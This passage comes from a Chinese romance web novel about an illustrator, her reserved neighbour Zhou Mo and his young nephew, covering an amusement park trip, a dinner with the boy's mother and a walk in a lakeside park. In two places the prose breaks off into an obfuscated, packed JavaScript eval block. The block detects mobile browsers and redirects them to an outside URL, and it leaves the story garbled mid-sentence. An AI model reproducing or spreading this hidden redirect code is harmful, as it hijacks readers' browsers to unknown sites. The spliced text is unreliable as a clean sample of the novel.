牵着小家伙小跑着追上去，迟了了越过刚刚的话题，又问：“哎周默，我还不知道你到底有多高呢？有一米九吗？” 周默听到这话，脚步才稍稍放慢一些：“一米八.九。” 理工生的严谨，就是一厘米的误差都不能有。 迟了了顿时：“哇！” 袁周率小朋友也跟着：“哇！” 周默脚步一滞，扫了他们一眼。 不知是不是这段时间被他俩折腾出毛病了，这两声夸张的“哇”听在耳中，怎么总觉得带着股阴阳怪气的味道？ 但是天地可鉴，迟了了要知道他这误解一定要三指朝天以誓清白了！ “你比我高了二十多公分呢！”迟了了惊呼，她才一米六三！ 难怪每次站他面前说话，自己都要仰着头呢。 想象一下如果自己脚底下再踩个二十多公分的高跷……迟了了若有所思地点点头，突然能理解周默的恐高了。 周默不知道她脑子里这些稀奇古怪的念头，只觉得她看向自己的眼神突然充满了同情，心中顿生警惕，赶紧转移话题：“接下来去哪？” “哦，”迟了了赶紧收回脑洞，看了眼时间，双眸一下子锃亮。 “花车巡游！” - 通常，游乐园里晚上都会有一场烟花秀作为ending表演，不过结束时间都到九点多了，再算上回去的车程，迟了了怕小家伙熬不了这么晚，便提议以下午的花车巡游作为今日游乐园之行的最后一项。 可当三人来到迟了了所说的最佳观赏点时，那里已经挤满了游客。 “怎么办，我看不到呀！”小胖墩站在后排，踮着脚尖伸长脖子，又蹦了几蹦，最后沮丧地说。 “怪谁？”周默淡淡斜他一眼。 要不是这小屁孩半路突然想去厕所，他们用得着多兜一圈以至于来晚了吗？ 明明之前路过厕所的时候问他，他还说不去来着。 迟了了闻言拍了他一下，示意他别说了，然后环视一圈，拉着小家伙往前面一个人缝走去。 “来这里试试！”她说。 周默不再言语，蹙眉看着两人过去，不一会儿又垂头丧气地回来。 “怎么了？”他问。 “果然也有人了。”迟了了怏怏地说。 她来过这么多次，当然见过“观众席”第一排一个挨一个站满小朋友的盛况，刚刚也不过是看到了一个缝隙，抱着一丝侥幸过去看看，说不定是那个大人身边没跟小孩。 可没想到那不过是一个小孩站累了，坐在地上休息才露出来的缝隙。 就在这时，她看见旁边一个年轻爸爸弯腰抱起跟前的小孩，一个使劲，就把那孩子架在了自己脖子上！ “！” 迟了了眼前一亮，转头就看向身侧。 “周默，”她高高仰起头，眼里冒着光，“要不——” “？” 周默见她说一半停下来，疑惑地顺着她的目光看去。 下一秒—— “想都别想！” 迟了了：“……” 真冷酷。 不过也是，这人怎么可能像别的爸爸那样，在大庭广众之下让小家伙骑在自己脖子上…… 可是——她看向手边焦急万分的小家伙——晚上的烟花看不了了，如果再错过花车巡游，那今天的行程怎么说都算不上圆满。 更别说他们都已经站在这儿了！ 不行，还是得想想办法！ 迟了了又打量起四周，视线一一扫过附近所有可以借势的东西：凳子、雕塑、树，甚至垃圾桶…… 最后，目光落在不远处一个被家长扶着站在灯柱半腰的小孩身上！ 这行为……是没素质了些，放平时迟了了肯定是不屑于做的，但今天，她不得不承认，自己的原则有点动摇了。 是“保留素质，给小朋友做好榜样，但小家伙可能会看不到花车”？ 还是“放下素质，让小朋友先尽兴再说”？ 一时间，迟了了陷入天人交战。 就在她举棋不定时，人墙外突然响起一道喇叭声：“游客们请注意安全，请勿攀爬园区内公共设施，包括路灯、座椅、垃圾桶等……” 是工作人员在做最后的清场和秩序维持。 怕人一遍听不清，喇叭还按了循环播放，于是，“请勿攀爬园区内公共设施，包括路灯、座椅、垃圾桶等”一遍又一遍地在人群中回荡着，也像一把无形的小锤头，一下又一下，敲在迟了了脑壳上。 知道了知道了…… 她讪讪低下头，刚冒出来的一丁点“贼心”就被扼杀在了萌芽状态。 突然，远处响起一阵欢呼声！ 紧接着欢快的音乐和鼓点闯入了人们耳中。 本就拥挤的人群瞬间躁动起来，迟了了踮起脚往前看，隐约瞧见前方转角处的树丛间有花车的影子一晃而过。 “来了来了！”她说。 “在哪里在哪里，给我看看！”袁周率小朋友一蹦三跳，恨不得给自己脚上装个弹簧。 迟了了赶紧弯下腰，双手叉起小家伙的胳肢窝，然后深吸一口气！ 妈呀！ 举不起来…… 察觉到可能是自己太重的原因，小家伙也连忙提劲，一个深呼吸憋得胸口高高鼓起，似乎这样就能让自己像只气球一样，变得轻飘飘的。 无奈迟了了使出了吃奶的劲，一张脸憋得通红，还是无济于事。 “妈呀不行，举不起来！我没力气了！”她摇着头气喘吁吁放下小家伙。 眼见花车队伍越来越近，袁周率小朋友急得直跺脚，眼泪都快出来了。 可就在泪珠即将决堤的一刹那—— 他突然感觉自己飞了起来！ “呀！” 胖乎乎的小身子瞬间变得格外轻盈，小家伙眼看着自己视野里的东西从前面大人的屁股变成后背、后脑勺，最后一下子开阔起来！ “我看到啦！！！”他忍不住惊呼。 同一时间，花车队伍中打头阵的演员高举着森林权杖，来到三人前面，袁周率小朋友一探出头来便看到这一幕，顿时高兴得手舞足蹈！ “哇！！！！” 迟了了正双手撑着膝盖喘气，听到他的喊声抬头一看—— 嘿！ “周默？！” 这人竟然把小家伙扛到肩膀上去了？！ 在她的惊讶目光中，周默面无表情地扶着肩膀上的小肉墩，从头到脚仍是那副高贵冷淡事不关己的姿态，仿佛此时此刻被人骑到肩上的人不是他似的。 ……除了在小家伙因为姿势不大舒服扭了两下时，没忍住抬手拍了下他的屁股。 …… 这天的游乐园之行，在看完花车巡游后便圆满结束了。 半路上，玩闹了一天的袁周率小朋友再次睡着，周默从后视镜里觑了他一眼，冷呵一声：“还真是省事。” 迟了了眯眼笑笑，也跟着打了个哈欠。 周默见她这样，张嘴想说些什么，但最后又咽了回去，转而伸手打开车载音响。 舒缓的轻音乐中，黑色吉普迎着傍晚的霞光在路上平稳飞驰，初夏的微风从车窗吹进来，拂动着周默额角的碎发，也撩动着迟了了落在椅背上的发丝，掠过小朋友轻轻的呼声，而后席卷了整个车厢。 - “迟三三不是我说你，你最近是不是有点玩物丧志了！” 这天，迟了了正往头发上抹精油，就听到电话里肖音韬痛心疾首的指控。 她动作一僵，连连否认：“我没有，我冤枉，你别瞎说！再说，我玩什么了？” “玩……小孩？” 这话一出，两人都沉默了。 “呸！”肖音韬反应过来，气急败坏地改口，“陪小孩玩！” “哪有，我每天都在画画！”迟了了为自己辩解。 “每天都画，还要我催三遍才交初稿？” “额，”迟了了语塞，“这不正常嘛，之前你还催过四遍五遍呢！” 肖音韬一听，登时炸了：“你还挺骄傲！” 好凶…… 迟了了缩了缩脖子，嘴角一撇开始装可怜：“你偏心！” 那边一顿：“什么东西？” “你对七月流火态度比我好！” “哈？” “他拖稿，你请他喝奶茶，我拖稿，你骂我！”迟了了拿出小本本，开始翻旧账。 哼哼，幸亏那次在“或者”，闯闯提醒了自己。 那边肖音韬显然被她的歪理邪说给整蒙了，半天才想起来她说的是哪回事儿：“嘶，迟三三你有没有良心，我当时是被他逼得不行了！而且咱俩谁更有钱？你缺我一杯奶茶是吗？” “那是一杯奶茶吗？那是爱！”迟了了坚持，“你不爱我！” “……”隔着听筒，她几乎都能听到肖音韬咬牙切齿的声音，“行，爱！你说，你想喝什么、几杯，我给你点！但你下次能不拖稿吗？” 抹精油的手一顿，迟了了眨眨眼，语气软了下来：“哎呀，我也不是真缺你一杯奶茶，就是想要你一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女人开着门还在朝屋内喊话，问：“你确定不让我去收拾？”说完才转头看向门外。 这一看，也愣住了。 两人面面相觑了几秒，最后还是女人先认出了迟了了，上下打量了她一眼，眼角没来得及落下的笑意一时间更加明艳：“哦！你就是住在楼上的迟小姐吧？” 迟了了：咦？ 女人笑着朝她伸出手：“你好，我是袁周率的妈妈，我叫袁月！” “啊！你好你好！”迟了了想起来了，自己之前跟她通过电话，就是这个声音。 不过……周默的妹妹，姓“袁”？ “快进来呀！”疑惑刚冒出个头，她便被袁月热情地拉进屋里。 “他俩正在卧室收拾东西呢，我哥这人有怪癖，不让我进他卧室，所以我只能在外面等着。”袁月皱皱鼻子，朝她抱怨道。 迟了了又是一怔：“收拾东西？” “哦对！忘了跟你说，我是来接袁小圆回家的。”袁月用她特有的明亮嗓音又说，“我那边工作都处理得差不多了，这不快过六一了嘛，袁小圆幼儿园里有活动，需要家长参加，我猜我哥肯定会嫌麻烦，干脆就提前回来了！” 原来如此，迟了了恍然。 这倒完全可以理解，只是……她低头看了看手里的彩纸，没想到分别来得这么突然。 这时，周默从卧室走了出来，一手拎着袁周率来时带的那个小黄人行李箱，一手抱着行李包，身后还跟着背小黄人背包的袁周率小朋友。 “希望你下次来的时候能提前打个招呼，这是基本礼貌。”来到客厅，他将行李箱和行李袋往地上一放，又把旁边装着这段时间他和迟了了给小屁孩买的新玩具的纸箱踢了踢，面色冷淡地看着袁月说道。 顿了下，他又改口：“不，还是希望你不要再来了。” “嗐，”袁月浑不在意地摆摆手，“我尽量。” 袁周率看见迟了了，立马跑到她跟前，抬手拉住她的手，给两人做介绍：“妈妈妈妈，这就是三三姐姐，三三姐姐，这是我妈妈！” “哎，乖儿子，妈妈跟三三姐姐刚刚已经认识了！”袁月抬手揉着自家儿子的脑袋说。 迟了了也笑着冲他点点头。 周默不耐地催促：“好了，你们可以走了。” “你急什么？”袁月立刻瞪了他一眼，转而看向迟了了，笑得一脸亲切，“迟小姐，我请你吃饭吧！” “吃饭？” “对呀，我知道这段时间都是你在帮忙照顾袁小圆，这——”她说着拉长声调，意有所指地觑了眼周默，“怎么好意思啊！” 周默：“……” 无聊。 “也没有了，”迟了了看着兄妹俩你来我往，偷笑着摇头，“我不算照顾他，就是我俩一起玩儿而已，平时主要还是周默照顾的多。” 袁月闻言挑了挑眉，很是意味深长地重复了她的后半句：“哦～周默照顾的多呀——” 迟了了紧抿着嘴唇，大眼睛眨巴眨巴，很是诚恳地点着头。 而当两人对上彼此的眼神，强忍的笑意瞬间齐齐失守，“扑哧”一声笑了出来。 29. 算朋友啦 包厢里，三大一小，两两对坐。 袁月给袁周率夹好菜之后便不再管他，只一心扑在对面的迟了了身上。 “你说你画儿童绘本？”一听迟了了是画儿童绘本的，她立马来了兴致，“那你们这行是要懂点儿童心理的吧？” “嗯嗯，要懂的。”迟了了说。 “那巧了，这么说咱们也算半个同行了，”袁月突然说，“我是心理咨询师！也是个心理学的老师。” 迟了了眼睛一亮，到嘴的肉也顾不上吃了：“真的？！” “当然，我还有自己的咨询室呢！”袁月说。 “哇好厉害！” 她这么捧场倒让袁月有些不好意思了，摆摆手说：“其实也没有什么了，心理咨询师一般都是自立门户的。” “那也好厉害了！” “嗐，我这不算什么，”袁月再次摆摆手，“我还有个师姐，那才是真优秀。” “你们都厉害！”迟了了笑眯眯地说。 袁月立即扬起下巴：这话听着真舒坦！ 她觉得眼前这女生是真讨人喜欢，之前在电话里跟她沟通，就对她印象不错，今天一见真人，更是十分投机，忍不住就想跟她多聊聊。 迟了了自然乐意奉陪，两人虽是第一次见，却一来一回聊得火热。 从彼此的职业，到平日的兴趣爱好，再到明星八卦、穿搭美妆……聊天内容也越来越向着女生之间的私密话题狂奔而去，一顿饭吃了三分之二，周默和袁周率完全没有任何插话的机会。 直到两人说到“连体裤很好看，但上厕所太麻烦了，为什么女人不能像男人那样站着上厕所”的时候，周默终于听不下去了。 他放下筷子擦擦嘴，说了句“我打个电话”，便起身走了出去。 他一出去，聊得热火朝天的两人都停了下来。 安静中，迟了了和袁月对视一眼，瞬间都乐了。 “月月，有个高冷的哥哥是什么感觉呀？”迟了了眨了下眼，好奇地问道。 是的，不过一顿饭的工夫，两人对彼此的称呼已经发展到了去掉姓氏直呼名字的程度。 她接着又说：“我也有个从小一起长大的男生，比我大了一个多月，算是半个哥哥，但他跟周默就是完全相反的性格！” 袁月一脸“别提了”的表情：“就他那懒得跟人说一句话的性格，我说十句话他能接一句都算不错了，不过——” “什么？” “不过我俩见面也不多，所以本来也说不了多少话。”袁月说。 迟了了一呆：“啊？” 袁月笑笑，这次却不像方才那样明亮耀眼，而是带着些许尴尬：“他是不是没跟你说过，他其实不是我亲哥，我们家是重组家庭，我爸和他妈嗯……所以，我也是到读高中了才认识他的。” 迟了了又眨巴眨巴眼，有些傻了。 话题突然进展到这个方向，是她始料未及的。 袁月又说：“而且他大多时候都是跟着他外婆一起生活，后来又出国待了很久，连跟我周阿姨都不太熟的样子，更别提跟我了。” “……”迟了了有些尴尬，半晌喃喃开口，“我还以为你俩不同姓，是因为一个随爸爸姓，一个随妈妈姓呢。” 袁月摸摸下巴：“你这么想，其实也没错。” “那，小圆子呢？”看到旁边一个人低头干饭的小家伙，迟了了又问，“他是随你姓没错吧？” “没错呀，”袁月笑了，“不过他跟我哥情况差不多，我跟袁小圆他爸离婚了，在我怀孕的时候，所以他从出生就跟我姓。” “啊？怀孕的时候！”迟了了感觉今天接收的爆炸性信息有些过载了。 袁月倒是无所谓地耸耸肩：“他孕期出轨被我发现，然后我就把他踹了。” “哇——哦！”迟了了顿时瞠目结舌，深深震惊于这毁三观的狗血剧情，下一秒反应过来，又一巴掌狠狠拍在桌子上，“踢得好！死渣男！” “哈哈哈哈哈！”袁月实在是被她的反应可爱到了，大笑着举起手边的饮料。 迟了了也举起杯子，跟她碰了一下。 一旁的袁周率小朋友见状，也立刻举起自己的果汁加入进来。 等放下杯子，迟了了看着小胖墩，后知后觉地反应过来。 她低声问袁月：“咱们在小圆子面前，可以说这些吗？” 袁月笑了一下：“没事儿，他早知道！” …… 又过了一会儿，等两人先后放下筷子的时候，周默终于回来了。 “可以走了吗？”淡淡的语气中带着不耐的催促。 “好了！”袁月从座位上起身，拿着手机就要出去，“你们等我一下，我去买个单。” “我买过了。”周默却说。 袁月动作一顿，惊奇地看着他，但想了想又点头：“也行。” 谁请都行，反正这顿饭也不是为了谢他。 …… 来时四人坐着袁月的车来的，回去的时候自然也是让她送。 酒红色宝马回到8号楼下时，迟了了正在跟袁周率做最后的道别。 先前见到妈妈的兴奋盖过了离别的气氛，如今吃了顿饭，兴奋稍稍减退，不舍便占了上风，小家伙拉住迟了了的手，苦着脸不愿松开。 “没关系，”迟了了揉揉他的脑袋，说，“以后你有时间了可以随时来找我玩呀，而且我还加了你妈妈微信呢，平时你也可以借妈妈手机给我打视频！” “没错，儿子！”袁月看着后视镜扬声说道，“舅舅现在回国了，以后咱们可以经常来骚扰他！” 副驾上，神色冷淡支头看着窗外的周默瞥了她一眼。 小家伙哼唧一声，这才恋恋不舍地撒开迟了了的手：“那，三三姐姐再见——” “小圆子，再见！”迟了了摆摆手，打开车门下车。 然而她下车了，副驾的某人却没有动作。 “你不走？”袁月诧异地看着周默，“你也要告别？” 这话成功换来周默一个白眼，他按下车窗玻璃，对外面等着自己一同上楼的迟了了说了句：“你先上去，我跟她有事说。” 迟了了眨眨眼：“……哦，那月月拜拜咯！” 袁月忙探过身，隔着中间的周默冲她挥手：“三三拜拜，回聊！” 眼看迟了了走进单元门，车内袁月重新回到驾驶座上，正想问周默有什么事，一抬眼被他冰冷的目光吓得心头一跳。 “你——”她忽地有些说不出话来。 霎时间，多年前对于周默的那种感觉好像又回来了。 对于这个继兄，袁月在最开始的那几年，其实一直是好奇兼敬畏偏多。 好奇，自然是因为不熟悉，不仅是因为他很少出现在家里，也因为即使偶尔回家，他也总一副冷漠的样子，常常是往自己房里一钻，不到吃饭时候不出现，就算出现也是问一句答一句，除此之外很少说话。 别说跟正常兄妹相比，就算是其他重组家庭的兄弟姐妹，恐怕也比他俩之间的交流多一些。 而敬畏，一方面是因为他学习很好……好吧，是非常好！再难的题目放在他面前，只需扫上一眼，他便能精准地知道题眼在哪。 袁月记得，她读高二时曾被老爸数落不认真，并建议她不会的题等下次周默回家吃饭的时候，可以跟他请教。 对于这个并不怎么热络的继子，袁月他爸却是格外欣赏和肯定，看他简直比看自己亲闺女还顺眼。 一开始听到这个提议，袁月还很不服气，不就是天才少年吗？不就是拿过国家级竞赛一等奖吗？不就是十六岁被保送荔大计算机系了吗？那又怎样！他每次回来对自己爱答不理，自己才不屑于上赶着！ 可最后她还是不得不拉下脸，试着去跟他请教，这一请教才发现……他确实厉害。 自己在全校不说前五，但也从来没落下过前十，听他讲题竟然好几次都跟不上思路！ 然而后来，她渐渐又不这么认为了……原因没别的，单纯是这人嘴太坏了！ 向他请教题目，他最多只有两遍的耐心，两遍没听懂想让他再讲一遍？那就要准备好接受他 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许久之后，她心虚地移开与他对视的目光，讪讪低声说道：“你猜出来了啊，可我只是想帮你……” “我不需要你的帮助。”周默冷冷地将她余下的话堵了回去。 袁月恼了：“不需要为什么解散团队、辞职回国？不需要为什么放着外婆的房子不住，非跑这儿来租房？不需要你为什么不敢让我看看你失眠的原因？” “这跟你没关系。”周默无动于衷地转过头去。 “你——”袁月气得胸口一起一伏的。 车内随之陷入一片死寂…… 这气氛持续了足足一分多钟，才被后座上一个小心翼翼的声音所打破：“妈妈舅舅，你们是因为我吵架了吗？” 这声音瞬间将两个大人从气愤中拉了出来，袁月赶紧扯出一抹笑，对后面瞪着大眼紧张不已的袁周率笑道：“没有，妈妈和舅舅只是在商量一些事情，没有吵架，跟你也没有关系。” 周默懒得再跟她掰扯，抬手解开安全带，推开车门。 然后，他又丢下一句：“总之，记住我的话。” 然后下车关门，头也不回地进了楼里。 - 电梯一路上行，白色灯光下，明亮的镜面反射出周默的脸—— 仍是那副面无表情的样子。 离开了原来的环境，一个多月来，已经很久没人再在他面前提起那件事了，而他也刻意不让自己再去想，以至于有时候他会真的暂时忘记发生了什么。 然而今天袁月的出现却毫不留情地撕开了他给自己织起的茧房，将自己的懦弱、逃避和不负责任赤裸裸地袒露在阳光下，再次被良心的利刃一片片切割。 该说心理师不愧是心理师，即便他从来没有跟她说过什么，不过是被她撞见了一次失眠，她便敏锐地察觉了一些端倪…… 可是，那又怎样？ 周默仍然拒绝她的任何介入，他不需要，也不愿意。 一切的苦痛和折磨，都是他活该受着的。 …… 电梯打开，他仍沉浸在自己的思绪中，全凭下意识的习惯走到门前，抬手按下指纹。 可门刚打开，就在他一只脚迈进门内时，身后突然响起一声轻快的呼喊： “周默！” 他倏地醒过神，怔了怔，循着声音回头看去。 只见楼梯间里，迟了了正从墙后探出脑袋，瞪着黑亮黑亮的眸子看着自己。 “周默，”她又叫了声他的名字，笑嘻嘻地问了句，“我们现在，算朋友了吗？” 周默被她问得又是一愣。 他刚从深渊般的情绪中清醒过来，听到这个问题的第一时间竟然没太明白这话是什么意思？ 而迟了了见他没有反应，黑漆漆的眼睛骨碌碌一转，笑成了一双月牙：“你不否认，我就当你默认了哦！” 然后她也不给周默任何反驳的机会，脑袋一缩，头发一甩，噼里啪啦，跑上楼了。 30. 戒断反应 在生物学和心理学上有种说法，形成或改变一个习惯，只需要21天。 周默以前没有亲自验证过这句话的真实性，但这一次，事实证明，或许是真的。 虽然不想承认，但也无法否认的是，自从袁周率离开后，他的生活出现了很严重的戒断反应。 先是每天早上会关注幼儿园的到校时间，做饭时也会下意识避开小屁孩不爱吃的东西。再是以前求之不得的安静，如今一个人在家里吃饭和呆着，反而会觉得有点冷清。 到晚上睡觉的时候，他还会习惯性地把一半床空出来——意识到这点后，他干脆把枕头挪到床的正中间。 这些也就算了，尤其让他难受的，是他的失眠在小屁孩走后竟然又有了复发的迹象，而且每回好不容易酝酿出一丁点睡意，半夜一点钟叫小孩起床上厕所的生物钟又会让他醒过来。 终于，又一次，当周默结束工作突然回过神来，惊觉整个屋子里安静得几乎没有一点动静时，他一颗心立马提了起来，连忙起身就要去看那俩人又在作什么妖。等走了几步才又反应过来，如今这屋子里只有自己一个人了…… 完了！ 周默仰面躺在沙发里，抬手捂住眼睛。 他怕不是被虐出什么毛病来了…… 痛定思痛，周默决定不能再这么下去了！ - 翠湖里之所以叫“翠湖里”，是因为小区旁边紧挨着荔安最大的天然湖泊——翠湖。翠湖周边还有一大片森林公园，是附近居民甚至整个东城区市民都喜欢来散步休闲的地方。 迟了了此时正在翠湖公园的一张长椅上，拿着平板对着一群跳舞的老头老太画画。 在她面前的小广场里，老人们个个精神矍铄，满面春光，伴着一旁音响里飘出的《茉莉花》旋律翩翩起舞，而她笔下的平板上，一群身形娇憨的企鹅也正挥舞着短小笨拙的翅膀，或手拉着手，或转圈圈。 一曲终了，老人们停下舞步，迟了了手中的画也完成了。 一位早就发现她在对着他们画画的老奶奶立马凑上来，想要看看她画的自己是什么样子。 迟了了也不扭捏，爽快地导出一张图片，展示给她看。 老奶奶一看便愣住了，紧接着爆发出一阵响亮的笑声：“哈哈哈哈——哎哟，哈哈哈哈这也太逗了！” 这笑声立刻吸引了更多老人的注意，大家纷纷凑过来，将迟了了围了起来。 之后看到画的老人和老奶奶的反应一模一样，先是一怔，随后便哄然大笑，一边笑还一边辨认哪只企鹅对应的是哪个人—— “哎，这个，戴眼镜的这个，是我啊！” “这个鼻子上有颗痣的，是老杨你啊！” “我呢我呢？” “李梅芳你在这儿呢，看这个眼睛像不像你？” “诶，还真是我！” …… 一时间，广场上简直比刚刚跳舞时还要热闹！ 迟了了也帮着老人们找着各自对应的企鹅，不一会儿所有老人便都认领到了自己的那只，轮流端着平板，笑眯了眼细细端详，还要拍下来做头像。 也就是在这时，迟了了一抬头正看到人群外朝这边走来的高大男人。 她目光一定，连忙挥手朝那边招呼：“周默！” …… 周默坐在草地上，木然看着眼前乱糟糟来回奔跑跳跃的各种猫啊狗啊，对于此时此刻自己在这里给某人看包的发展还是有点懵…… 之前他便听那两个“熊孩子”说起过这个公园，两人还隔三差五地来这边玩，今天在屋里待不下去，他便想着来这边走走。 可没想到，刚进公园不久，就被迟了了逮了个正着。 然后事情不知怎么就乱七八糟地发展到现在，总之最后自己被她带到了这里，并被委以看包的重任，然后…… 她就跑得没影了。 就这么等了好大会儿，连附近一只狗都觉得他有些奇怪了，几次想凑过来闻他，又都被他瞪了回去。 就在他终于受不了，决定起身离开的时候—— “来了来了！” 迟了了一手一大杯饮料从后面跑过来，一来到跟前便就地盘腿坐下，然后将其中一杯还没开封的递过来。 “给你！” “我不——”周默想也不想便要拒绝。 可不等他说完，迟了了又说：“无糖的，你要不喝，我就只能丢了。” 经过这么多天的相处，她早摸清了他的口味。 “……” 周默很想说“那你丢了吧”，但显然如果真这么说了，这人又会有别的话等着他，不想在这上面浪费口水，他只好接过那杯“无糖饮料”。 迟了了露出个满意的笑容。 看着他将吸管插进杯子，蹙着眉犹疑地喝了一口，她忙不迭问：“怎么样，好喝吧？” 周默咂摸了一口：……竟然，还不错？ “这是他们家的招牌口味，最近店庆做活动，买一送一，我排了好久的队才买到！”迟了了见他眉头松开，又笑眯眯道。 周默听她这话，低头看了眼手里的饮料，心想：……莫非，自己该说声谢谢？ 不过下一秒迟了了已经又转向另一个话题：“对了，小圆子最近还好吗？” “你不是有袁月的联系方式？” “对哦，”迟了了突然想起来，“不过最近她有点忙，唉，花花都想小圆子了呢！” 最近那猫对自己的态度一反常态，每次她下楼的时候都主动跑过来，可一看自己身边没有它期盼的那个小身影，又立刻将头一扭，冷漠走开。 真是把“人走茶凉”演绎得淋漓尽致！ 迟了了想起来就直摇头。 正说着，周默突然看到一只体型肥硕的短腿柯基扭着屁股朝两人跑了过来。 等跑到迟了了脚边，它冲着她伸着舌头哈哈吐了两口气，像是在打招呼，然后啪叽一下瘫在了地上。 “……” 这狗是真胖，短短的身子，腰身竟然跟个袁周率的小西瓜肚差不多粗了，被主人养护得很好的皮毛金黄柔顺，此时包裹着软软的胖肚子摊开在草坪上，乍一看跟个圆圆的煎饼似的。本就短小的四条腿更是被盖在下面，几乎看不到一丁点。而因为趴着的动作，脸上的皮肉也被多挤出来一圈，一张脸硬生生又大了两号。 “呀，坦克！” 迟了了顿时顾不上那薄情寡义的猫了，腾出一只手亲昵地抚弄着胖柯基头和背，直把它揉得舒服地眯起眼，才又问：“坦克，你今天训练完成了吗？” “没呢，还差两圈。” 说话的是个随后走来的女人，头上戴着遮阳帽，身上穿着防晒衣，整个人包裹得严严实实的，手里还拎着一根狗绳。 她来到树下，摘掉帽子，这才露出本来面目，是个留着本黑色锁骨发的年轻瓜子脸模样，皮肤很白，看起来有几分文气。 女人一站定便看到旁边的周默，眼中立刻闪过一抹惊艳。 周默低下头，自顾自喝饮料。 女人转头看向迟了了：“这位是？” “哦，我邻居，周默！”迟了了热情地为两人介绍，“周默，这是张越，是咱们小区3号楼的。” 无奈，周默只好跟她问了声好，然后继续低头喝饮料。 女人见他这冷淡的反应，也歇了心思，索性收回目光跟迟了了说话：“昨天带坦克去做体检，医生调整了训练计划，每天再多加两圈，这不怕它适应不了，就先歇歇。” 迟了了恍然，又问了体检里诸如血糖、肝脏的情况，女人一一同她说了。 说完女人又露出一副很头痛的样子：“唉，我爸总说别让坦克跑太多，说狗和人一样，身子太重，运动太多的话，对关节不好，别像他似的，上了年纪总是腿疼。可坦克怎么锻炼都是医生制定好的计划，怎么会过量呢！” 迟了了促狭地说：“张叔疼坦克谁不知道，跟疼亲孙子似的。” 女人听到这话也笑了：“我爸还总跟我埋怨，说都是你取的这名字不好，坦克坦克，结果现在胖得真跟个坦克似的。” “哎呀，你快别说了，”迟了了像是想起什么恐怖的事情，赶紧摆手讨饶，“我现在见张叔都躲着走！” 女人顿时更乐得不行…… “话说，你真的不准备养花花吗？”过了会儿，迟了了问她，“说不定跟花花玩一玩，坦克就瘦了呢！” 然而女人立马毫不犹豫地摇头：“不要，我家是坚定的独生子女家庭，不养二胎！” “……”迟了了失望地叹了口气。 两人又聊了一会儿，等坦克歇得差不多了，女人给它套上绳子，拉着它继续去跑剩下的两圈。 看着胖柯基扭着肥嘟嘟的心形屁股渐渐走远，周默忍不住开口：“这狗叫坦克？你取的？” 迟了了双眼晶亮：“对呀，我取的！” 但转而她又笑道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818858|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你别看它名字叫坦克，其实它可胆小了呢，连只蟋蟀都怕。” “？” 周默正感慨这名字取得形象，听到这话心里缓缓冒出一个问号。 “坦克，跟胆小，有什么矛盾关系吗？”思考半晌无果，他提出自己的疑问。 迟了了也是一愣，没想到他会问出这个问题，茫然对上他的视线。 两人就这么你看我我看你，大眼瞪小眼了好一会儿，终于还是迟了了先“哦——”地一声反应过来：“周默，你是不是没玩过密室逃脱呀！” 看到周默摇头，她又露出一副“果然如此”的表情。 “‘坦克’这个词，在密室游戏里，是用来形容胆子特别大的人，因为胆子大所以可以像坦克一样不管不顾直往前冲！是一种在队友中安全感爆棚的存在！”她解释道，又抬手拍拍他的肩膀，“等下次我带你去玩啊，我也好久没玩了呢！” 说完，她又上下打量了周默一番。 个高腿长、冷静沉着，嗯，很好，是个坦克的好苗子！ “……所以，不是因为长得胖才叫坦克的？”周默再度确认着问。 “当然不是！坦克也不是从小就这么胖的，主要是因为它天生胆子小，我才给它取这个名字的，不是有那句话吗，缺啥补啥！”迟了了说。 诶，说到这儿她突然想到什么，兴冲冲盯着他：“周默，同理可得，你小时候是不是特别吵啊？” 正思考“缺啥补啥”这一论点合理性的周默，不禁又是一阵莫名，好大会儿才厘清她的脑回路，不过—— “为什么你不认为是我父母工作太忙，希望天天过周末？”他反问。 “咦？”迟了了一愣，下一秒双手一拍，目光炯炯，“有道理啊！所以真的是这样？” “不是。”周默冷冷道。 “哦，”迟了了失望地垮下肩，“好吧。” 然而这份失落只在她脸上挂了不到三秒钟，她又“哎”了一声，指着前方兴奋地说：“你快看那边那两只猫，漂不漂亮！” “……” 周默叹了口气，顺着她指的方向看过去，没费多大工夫，就在不远处树下一张红白格子的野餐布旁，看到了两只正优雅梳理毛发的布偶猫，一旁还有两位正在聊天的中年阿姨。 布偶一向被称为“猫界颜霸”，而远处的这两只又长得格外漂亮些，一只纯白的，通体毛发如雪，一点瑕疵也无，另一只则白中带点灰，而这灰又长得十分巧妙，只在耳朵尖、额头和尾巴上点到即止。 “它俩分别叫LILY和LUCY，是双胞胎。” 听到这个名字，周默莫名想起曾经英语课本上的那对双胞胎姐妹。 “不过我还给它们取了个名字，叫大乔和小乔。”迟了了又说。 “因为好看？”周默问。 “对呀，可惜不像坦克我是看着它被张叔带回家养的，这对布偶猫我见到它们的时候它们就已经有名字了。”但这并不影响迟了了在心里偷偷地叫。 周默来了点兴致，朝前方草坪上几只正在嬉戏的猫狗扬了扬下巴：“那其他的呢？你也取了名字吗？” “当然，”迟了了坐直身子，像炫耀自己的战绩一样伸手指过去。 “那只美短，我叫它韦小宝，因为它后宫很多，总爱勾搭母猫，是个海王，可花心了！” 手指一转，又指向旁边的金毛：“它叫丁丁，不是上班打卡的那个钉钉哦，是丁丁历险记的丁丁，因为它很喜欢冒险，经常一不注意就跑没影了，它主人经常在公园里找它，你如果多来几次肯定能遇到。” “不过，”突然，她语气一转，半是惋惜半是幸灾乐祸地说，“丁丁现在只有丁丁了，它上个月刚做了绝育手术！” “……”正听得认真的周默霎时满头黑线。 “迟了了！”他有些无奈地喊他的名字，这人说话怎么—— “哎，在呢！”迟了了听他这语气就乐了，嘻嘻哈哈一脸坏笑。 周默更加无语，抬手按了按额角，可过了会儿，也忍不住翘起唇角。 两人笑了一会儿，迟了了继续向他介绍草坪上的其他宠物。 